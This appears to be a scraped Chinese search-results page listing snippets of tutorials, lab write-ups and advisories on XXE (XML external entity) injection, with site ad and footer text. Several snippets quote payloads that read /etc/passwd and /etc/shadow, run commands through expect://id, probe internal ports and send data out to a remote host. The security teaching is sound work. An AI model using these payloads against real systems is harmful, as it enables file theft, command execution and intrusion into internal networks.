展开

关键词

XXE注入漏洞

什么是XML 要想清楚XXE漏洞,首先要了解XML XML 可扩展标记语言(EXtensible Markup Language)。 漏洞原理 前面说到,XML可以从外部读取DTD文件,而实体部分是写在DTD文档里。所以引用外部实体实际上就是调用包含该实体的DTD文件。 注意: php版本大于5.4.45的默认不解析外部实体 xxe漏洞与ssrf漏洞 两个漏洞很相似,功能、原理、造成的危害都相同。 攻击本质都是一样的,都是由于攻击者只能访问A资源不能访问B资源,但是 A资源可以访问B资源,且A资源对请求、响应的检测不全面,被攻击者利用以脚本为请求参数,利用A资源执行攻击者输入的命令去访问B资源。 所以他们是两个不同的漏洞。 演示 simplexml_load_string函数 作用是将xml格式的字符串转换为对应的SimpleXMLElement zz.php ?

42132

xxe漏洞详解

xxe漏洞主要是利用了DTD引用外部实体导致的漏洞,xml在引用外部实体时,可以导致命令执行,任意文件读取或者内网端口探测,则命名为xxe漏洞。 ENTITY % send SYSTEM 'http://192.168.1.3/xxe/2.php? ENTITY XXE SYSTEM "http://ip:port" > ]> <root> <name>&XXE;</name> </root> 端口开放时会返回报错信息,端口不存在时会无法连接 端口开放会报错 ,如下 3.png 端口不存在会无法连接,如下 4.png 4.简单xml拼接漏洞 5.png 三、JSON XXE 很多web和移动应用都基于客户端-服务器交互模式的web通信服务,一般对于 ENTITY xxe SYSTEM "file:///etc/passwd" >]> <root> <search>name</search> <value>&xxe;</value> </root>

26010
  • 广告
    关闭

    什么是世界上最好的编程语言?丨云托管征文活动

    代金券、腾讯视频VIP、QQ音乐VIP、QB、公仔等奖励等你来拿!

  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    浅谈XXE漏洞

    漏洞知识库 网络安全/渗透测试/代码审计/ 关注 浅谈XXE漏洞 介绍 现在越来越多主要的web程序被发现和报告存在XXE(XML External Entity attack)漏洞,比如说facebook 举个例子,我们扫一眼这些网站最近奖励的漏洞,充分证实了前面的说法。尽管XXE漏洞已经存在了很多年,但是它从来没有获得它应得的关注度。 很多XML的解析器默认是含有XXE漏洞的,这意味着开发人员有责任确保这些程序不受此漏洞的影响。 漏洞的危害: 读取任意文件(数据回显): ? XML数据 关键词有:SYSTEM、PUBLIC XXE漏洞的演示: ?

    33030

    XXE漏洞学习

    例如这次的XXE,提示都到脸上了就是没想到,那么为了开始准备下一次的比赛,现在开始慢慢的会写一些类似的学习笔记(当然因为懒,有的并不会写),就当是整理一下,记忆一下 正文 那么为了方便实验,首先搭建一个 xxe漏洞的环境,直接上github找就好了 github地址:https://github.com/c0ny1/xxe-lab 下载完之后,直接将文件夹部署到php环境中就好了 ? 看到类似这样的包结构,都可以尝试用xxe漏洞,当然不同编程语言写的页面,解析出来的结果也不一样,这里针对PHP环境 那么接下来就是构造语句的问题了 这里就得提一下DTD这个东西了 DTD又称为 DOCTYPE 解析器理都不带理一下这其中的所有内容,不会拿去解析 那么回到主题上,DTD的作用基本就是这些,去定义元素的类型 那么为啥要解释这个DTD呢,因为DTD可以去定义元素类型,反之,也可以利用它去定义实体,接着调用它,导致XXE 漏洞,也就是实体注入漏洞 DTD中有一个写法 DTD 实例: <!

    24930

    XXE漏洞XXE漏洞是怎样形成的?

    Hello,各位小伙伴大家好~ 这里是你们的小编Monster~ 最近学习了XXE漏洞的基本原理,一起来看看吧! Part.1 XML基础 XML语法 XXE漏洞是由于web应用程序解析了恶意的xml代码导致的。 因此,在学习之前,我们先来康康xml的基本原理。 ? XXE就是由于xml引用了恶意的外部实体导致 (1)内部实体声明 <!ENTITY 实体名称 "实体的值"> 因为DTD是一种快捷变量,因此可改写上面的例子为: ? Part.2 XXE漏洞 漏洞实现 XXE(XML External Entity),即xml外部实体注入。引用外部实体时,不同的程序可支持不同的协议: ? 我们先来写一个简单的xml接收页面: ? 这就是一个简单的xxe漏洞利用。 pikachu平台 我们来看看pikachu平台上的xxe漏洞: ? 查看后端代码: ? 和我们的演示代码差不多,使用前面代码的尝试注入: ?

    1.1K40

    xxe漏洞学习

    前几天ctfshow的webak赛有一道利用xxe漏洞的题,当时看一些xxe的资料也没整出来,想着再学习下。 简单来说,XXE就是XML外部实体注入。 ENTITY xxe SYSTEM "expect://id" >]> <catalog> <core id="test101"> <description>&xxe;</description

    35320

    web漏洞|XXE漏洞复现

    docker搜索xxe相关镜像包,然后pull下来,我这里pull的是:rrodrigo/xxelab 镜像包。 启动docker环境,映射到VPS的32776端口 访问 输入注册数据,抓包重放。 name>111</name><tel>222</tel><email>&file;</email><password>333</password></root> 利用 base64 编码进行 xxe >222</tel><email>&file;</email><password>333</password></root> 相关文章:XML和JSON数据格式 XXE

    17020

    XXE漏洞挖掘分享

    XXE漏洞挖掘 基础知识 DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。 引用外部DTD <! XXE漏洞的利用: 读取任意文件: 本地引用: http://192.168.0.145:65412/?xml=<!DOCTYPEexample [<! ENTITY xxe SYSTEM "file%3A%2F%2F%2Fetc%2Fshadow">]><root>%26xxe%3B<%2Froot> ? 攻击内网的其他网站 XXE漏洞挖掘 遇到XML相关的交互过程,以如下步骤判断是否存在漏洞: (1)检测XML是否会被解析: [html] view plain copy <? (2)检测服务器是否支持外部实体: [html] view plain copy 1. <?xml version=”1.0” encoding=”UTF-8”?> 2. <!

    2.3K50

    XXE实体注入漏洞详解

    这就造成了一个任意文件读取的漏洞。 那如果我们指向的是一个内网主机的端口呢?是否会给出错误信息,我们是不是可以从错误信息上来判断内网主机这个端口是否开放,这就造成了一个内部端口被探测的问题。 XXE漏洞带来的的危害 当允许引用外部实体时, XML数据在传输中有可能会被不法分子被修改,如果服务器执行被恶意插入的代码,就可以实现攻击的目的攻击者可以通过构造恶意内容,就可能导致任意文件读取,系统命令执行 寻找XXE 检测xml是否被解析 尝试注入特殊字符,使XML失效,引发解析异常,明确后端使用XML传输数据。 单双引号 ' " :XML的属性值必须用引号包裹,而数据可能进入标签的属性值。 检测是否支持外部实体解析 尝试利用实体和DTD。 引用外部DTD文件访问内网主机/端口 :<! ENTITY xxe "findneo">]>&xxe; 外部实体读本地文件 :<!DOCTYPE a [<!

    46620

    XXE漏洞那些事儿(JAVA)

    0x01 前言 之前我们学习了DocumentBuilder这个XML解析类的使用方法,还展示了如何读取本地文件以及利用XXE外带数据,当然,也简单的提到了相应的防御方法,这一章,我们将学习其他一些JAVA 这些方法都是自由定制的,可发挥空间很大~ 运行主类,控制到得到如下结果,成果读取到本地文件win.ini,说明XXE成功。 ? 的防御,往下看吧.... 0x06 防御手法 我在《XXE之DocumentBuilder》文末蜻蜓点水般提到了XXE的防御方法,这会,我们详细来说说,由于java中各个xml解析类防御xxe的方法都大同小异 ,我就那SAXReader来演示吧 要想完全防御住xxe攻击,需要设置以下三个属性,如果遗漏了其中一个,应用都是有可能受到XXE攻击的,只是说危害程度不同 saxReader.setFeature("http 漏洞以及XML文件的基础知识我这里暂且不谈,欲进一步了解移步:https://thief.one/2017/06/20/1/ 我们先用普通的外部实体测试一下,可见能够正常解析,如下: ?

    57520

    渗透测试之XXE漏洞

    XML外部实体注入简称XXE漏洞:XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。 文章目录 01 XML基础知识 02 XXE漏洞原理 03 XXE漏洞利用 04 XXE漏洞绕过方式 05 XXE造成的危害 06 XML注入预防 01 XML基础知识 XML文档结构包括XML声明 对于XXE漏洞最为关键的部分是DTD文档类型,DTD 的作用是定义 XML 文档的合法构建模块。 04 XXE漏洞绕过方式 有回显方式的XXE漏洞利用两种方式: 方式一,xml内容为: <?xml version="1.0" encoding="utf-8"?> <! 无回显方式的XXE漏洞利用: xml内容为: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!

    56830

    Web漏洞|XXE漏洞详解(XML外部实体注入)

    目录 XXE XXE漏洞演示利用(任意文件读取) Blind OOB XXE 目录浏览和任意文件读取 端口扫描 远程代码执行 XXE漏洞的挖掘 XXE的防御 ---- 在学习 XXE漏洞之前,我们先了解下XML。 传送门——> XML和JSON数据格式 那么什么是XXE漏洞呢? 利用详情:XXE漏洞利用 03 Blind XXE 如上例所示,服务器将 /etc/passwd 文件的内容作为响应返回给我们的XXE。 参考文章:XXE漏洞利用技巧:从XML到远程代码执行 xxe漏洞的学习与利用总结 相关文章:XXE之利用本地DTD进行文件读取 Blind

    10810

    CVE-2020-24589 XXE漏洞

    WSO2 API Manager 3.1.0 和 API Microgateway 2.2.0 中的管理控制台允许 XML 外部实体注入 (XXE) 攻击。 save_artifact_ajaxprocessor.jsp 参考:https : //docs.wso2.com/display/Security/Security+Advisory+WSO2-2020-0742 该漏洞的知名度低于平均水平 , 没有可利用漏洞

    30300

    深入浅出-XXE漏洞

    本文作者:可乐(Ms08067实验室Web小组成员) 前言 写这篇的主要目的是因为很多CTFer还有一些安全人员不是很清楚xxe漏洞,还有在面试当中,xxe漏洞也经常被问到,所以就写这么一篇文章来学习xxe 漏洞. ENTITY 实体名称 PUBLIC "public_ID" "URI"> XXE漏洞 当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。 xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件 如果xml能够被解析,比如输入 ``` <? 使用bWapp学习 环境搭建: vulstudy是专门收集当下流行的漏洞学习平台,现在用它来一键搭建bWapp 下载vulstudy项目 git clone https://github.com/c0ny1

    1.9K40

    XXE漏洞:DocumentBuilder使用之殇

    xxe这种漏洞无论是在php中还是java中,审计起来应该都是有迹可循的,在php中全局搜索特定函数,在java中需要找解析xml文档的类有没有被使用,所以,我们首先需要知道java有哪些常见的解析xml javax.xml.parsers.DocumentBuilder 案例2 这个类导致的xxe漏洞感觉挺多的。微信支付,以及CVE-2017-12629都是由于这个类没有进行安全设置导致的。 用一个例子来学习一下这个类怎么导致xxe import jdk.internal.org.xml.sax.SAXException; import org.w3c.dom.Document; import 参考 spring boot 快速创建项目:http://tengj.top/2017/02/26/springboot1/ 微信支付xxe:https://benjaminwhx.com/2018/ /2018/10/23/java-xxe/

    1K20

    php框架slim架构上存在XXE漏洞XXE的典型存在形式)

    在阅读其源码的过程中,我发现其存在一个只有在框架式CMS中才会出现的漏洞。 官方网站: http://www.slimframework.com/ 漏洞详情 这个漏洞存在于最新版(3.0)中。 这个特性将会导致两个问题: WAF绕过 可能存在的XXE漏洞 WAF绕过这个肯定不用说了,常规的WAF一般只检测application/x-www-form-urlencoded的数据,一旦修改数据类型则将通杀各大 XXE是本漏洞的重点。 我们看到解析body的代码: <? 所以,用slim framework 3.0开发的CMS,只要获取了POST数据,都将受到此XXE漏洞的影响。 漏洞证明 编写一个最简单的demo页面,只有一个获取POST信息并输出的功能: <? 触发XXE漏洞并读取/etc/passwd: ? 漏洞修复 在slimphp2中,官方是对这块进行一定处理了: <?

    52920

    实战挖掘文件导入处的XXE漏洞

    一、XXE简述 XXE(XML External Entity Injection)全称是XML外部实体注入,当服务端允许引用外部实体时,通过构造恶意payload就可能造成任意文件读取、内网端口探测甚至命令执行等危害 三、总结 文中简述了XXE漏洞基本原理和DTD类型格式,在某些文件导入的功能处也可能存在相关漏洞

    77920

    最近大火的XXE漏洞是什么

    首先介绍一下什么是XXEXXE全称是——XML External Entity,也就是XML外部实体注入攻击。漏洞是在对不安全的外部实体数据进行处理时引发的安全问题。 现在越来越多主要的web程序被发现和报告存在XXE(XML External Entity attack)漏洞。尽管XXE漏洞已经存在了很多年,但是它从来没有获得它应得的关注度。 三、客户端XXE案例 日前,某office文档转换软件被爆存在XXE漏洞(PS:感谢TSRC平台白帽子Titans`报告漏洞),某一应用场景为:Web程序调用该office软件来获取office文档内容后提供在线预览 最后的最后 微信的“0元购”漏洞其实跟本没修上。前几天有人说微信支付SDK中出现XXE漏洞,利用这个漏洞,黑客可以绕过微信支付完成购买。 这个漏洞不是微信官网说他们修好就完事了,一定要自己去修。没接到通知的也要注意了。 PS:好像是要自己修,啦啦啦 ? 本文参考了 腾讯安全中心-未知攻焉知防——XXE漏洞攻防 滇峰技术的XXE漏洞

    73720

    利用DNSLOG测试XXE漏洞(BWAPP为例)

    以BWAPP为例,测试XXE漏洞,用DNSLOG作回显。 一、选择XXE漏洞测试,抓包,点击【anybugs?】。 ? ? 二、获取域名 ? 三、直接上payload ?

    1.2K40

    相关产品

    • 漏洞扫描服务

      漏洞扫描服务

      漏洞扫描服务是用于网站漏洞监测的安全服务,为企业提供7×24小时准确、全面的漏洞监测服务,并为企业提供专业的修复建议, 从而避免漏洞被黑客利用,影响企业资产安全…

    相关资讯

    热门标签

    扫码关注腾讯云开发者

    领取腾讯云代金券